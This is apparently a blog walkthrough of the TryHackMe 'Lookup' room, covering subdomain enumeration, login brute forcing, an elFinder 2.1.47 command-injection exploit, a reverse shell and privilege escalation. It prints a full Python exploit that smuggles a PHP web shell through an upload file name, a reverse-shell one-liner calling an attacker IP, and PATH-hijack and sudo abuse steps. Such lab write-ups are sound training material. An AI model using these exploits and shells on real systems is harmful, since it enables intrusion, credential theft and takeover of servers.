Post

Lookup - TryHackMe - Walkthrough

This new TryHackMe Room is about brute forcing credentials, finding a vulnerability and escalating privileges.

Lookup - TryHackMe - Walkthrough

Description

Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through “Lookup,” hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.

Note: For free users, it is recommended to use your own VM if you’ll ever experience problems visualizing the site. Please allow 3-5 minutes for the VM to fully boot up.

My note: The text definitly sounds like generated.

This Room is rated Easy and is Free on TryHackMe.

https://tryhackme.com/r/room/lookup

Inital scanning

The first thing I do on every box, is a nmap scan. I added all ports, activated version output and used the default scripts. In addition to that I outputed the scan in all formats to the nmap dir and activated double verbosity, so if a port is discovered I see it.

1
sudo nmap -p- -sV -sC -oA nmap/lookup -vv 10.10.238.64

The nmap scan shows that only two ports are open, one is ssh the other one is Apache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.94SVN scan initiated Fri Nov 22 19:13:32 2024 as: nmap/lookup -p- -sV -sC -oA nmap -vv 10.10.238.64
Nmap scan report for lookup.thm (10.10.238.64)
Host is up, received echo-reply ttl 63 (0.069s latency).
Scanned at 2024-11-22 19:13:32 UTC for 42s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login Page
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Nmap done at Fri Nov 22 19:14:14 2024 -- 1 IP address (1 host up) scanned in 41.82 seconds

If we try to access the web server we are redirected to http://lookup.thm, I added lookup.thm to my /etc/hosts file.

1
10.10.153.26  lookup.thm

Next I tried to enumerate for subdomains, because this was mentioned in the challenge description.

1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.lookup.thm" -u http://10.10.238.64 -fs 0

After a while trying different wordlists, I could only find www.lookup.thm which is the same page as lookup.thm, that’s why I stopped there and now focused at the login page. I first tired special characters and looked for the low hanging fruits like SQL-Injection or other injections, but I didn’t find any vulerabilities. Then I tried default usernames and passwords.

Interestingly, I found that using ‘admin’ as the username returns different results from the site compared to using a username that doesn’t exist.

Not existing user:

Existing user:

I then used the tool I like the most ffuf to find a password for this user. I used the following request payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: www.lookup.thm
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.lookup.thm/
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://www.lookup.thm
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin&password=FUZZ
1
ffuf -request password.brute -request-proto http -w /usr/share/wordlists/rockyou.txt -fs 62

The results look promising:

We successfully found a password. Now let’s try it!

What… what da, this was unexpected, now both parts of the credentils are wrong. The only possible solution now can be that the password and username are check independently so now we have a password and need a username for that password!?.

So next I modified the request from above: …

1
username=FUZZ&password=YOURFOUNDPASSWORD

… and used the modified command with some random wordlist form seclists.

1
ffuf -request password.brute -request-proto http -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -fs 74

Nice, we got it, this looks more promising.

The request redirects us with a cookie to files.lookup.thm, how could we miss that by the subdomain scanner?

Intresting domain hidding techinque

If we look at the response from a non existing subdomain, the response is exactly the same as the one from the subdomain files.lookup.thm.

Only if our cookie login_status=success is set we get redirected again to http://files.lookup.thm/elFinder/elfinder.html.

Subdomain application

Let’s check this application running on the subdomain files.lookup.thm. It looks like some file management program. The first thing I do is check what that application is, if it’s a custom application or something from the web.

I run gobuster on the folder and found this changelog, the reason this is important, is that we normally see a version inside such files, http://files.lookup.thm/elFinder/Changelog.

1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://files.lookup.thm/elFinder

At the top of this file we can spot the version 2.1.47. If we Google that with the application name elFinder we will find a command injection vulnerability.

I looked at the exploit:

Two things caught my eye:

  • This exploit is in python2 (Parrot somehow doesn’t like that….)
  • We need a SecSignal.jpg file, I downloaded a random one from the internet.

To fix the first issue, I asked ChactGPT friendly, if he would like to rewrite the script in python3 and, it did it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3

import requests
import json
import sys

payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'


def usage():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py [URL]")
        sys.exit(0)


def upload(url, payload):
    with open('SecSignal.jpg', 'rb') as f:
        files = {'upload[]': (payload, f)}
        data = {
            "reqid": "1693222c439f4",
            "cmd": "upload",
            "target": "l1_Lw",
            "mtime[]": "1497726174"
        }
        r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
        j = json.loads(r.text)
        return j['added'][0]['hash']


def imgRotate(url, file_hash):
    r = requests.get(
        f"{url}/php/connector.minimal.php?target={file_hash}&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
    )
    return r.text


def shell(url):
    r = requests.get(f"{url}/php/SecSignal.php")
    if r.status_code == 200:
        print("[+] Pwned! :)")
        print("[+] Getting the shell...")
        while True:
            try:
                user_input = input("$ ")
                r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
                print(r.text)
            except KeyboardInterrupt:
                sys.exit("\nBye kaker!")
    else:
        print("[*] The site seems not to be vulnerable :(")


def main():
    usage()
    url = sys.argv[1]
    print("[*] Uploading the malicious image...")
    file_hash = upload(url, payload)
    print("[*] Running the payload...")
    imgRotate(url, file_hash)
    shell(url)


if __name__ == "__main__":
    main()

Now let’s execute the exploit with the URL of the server.

Nice we got a shell, I generated a second shell stage payload from revshells.com, to get a nicer shell and then stabalized the shell.

1
2
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
nc -lvnp 4444 # on my machine

User

I now went for the user flag, but the user flag wasn’t readable, so we first need to think how we get think, the local user ironicly;)

Enough with the jokes, let’s search for possible attack vectors. I usually start searching for the low hanging fruits here too. This includes checking if there are any SUID binarys. I do this with this command:

1
find / -perm -u=s -type f 2>/dev/null

There is one file named pwm, what ever that name means, if we check the permissions with ls -la, we can see that it runs as root (-rwsr-sr-x 1 root root). To don’t waste time downloading the file for reversing I simply run it.

The file executed the id command?! and prints the file .passwords which we earlier saw in the home directory of the user think. That looks interesting, I now used strings to get some deeper unerstanding of what the binary does:

So now I know what we should do:

  • First we need to generate our own id script file wich simply prints the id like the legitimate id command (uid=1000(think))
  • The next step is to add our id script path to our PATH environment variable, the SUID file will now use this PATH to find our script
  • This script file then forges the user think and will print the password file inside the directory of the user think

Let’s do it and then execute the script:

1
2
3
echo "echo 'uid=1000(think)'" > id
chmod +x id
export PATH=$PWD:$PATH

We successfully get a list of passwords, these must be the passwords for the user think, I copied them to a wordlist file.

1
hydra -l think -P wordlist.txt ssh://10.10.153.26

We got the passwod and can login via ssh to the server now.

Root

Let’s now check what we need to do to become root. If I already have a fully functioning user I usually start by checking the sudo rigths with sudo -l.

We can execute the file /usr/bin/look, which likely is our target here. I now run it:

This program looks like grep, we can use it to find a string, if we run it, with the /etc/shadow as the destination file, we can see that it only outputs the lines of this file which start with the string we specified.

We can now abuse this: We know that the root flag location and we know must be some hex characters, so we can check them all, we can use the command below to get the final flag.

1
for i in {0..15} ; do sudo /usr/bin/look $(printf '%x\n' $i) /root/root.txt; done

This was the challenge, I really liked it.

Conclusion

The point I liked the most was the subdomain hiding, this is a nice technique to hide a subdomain.

This post is licensed under CC BY 4.0 by the author.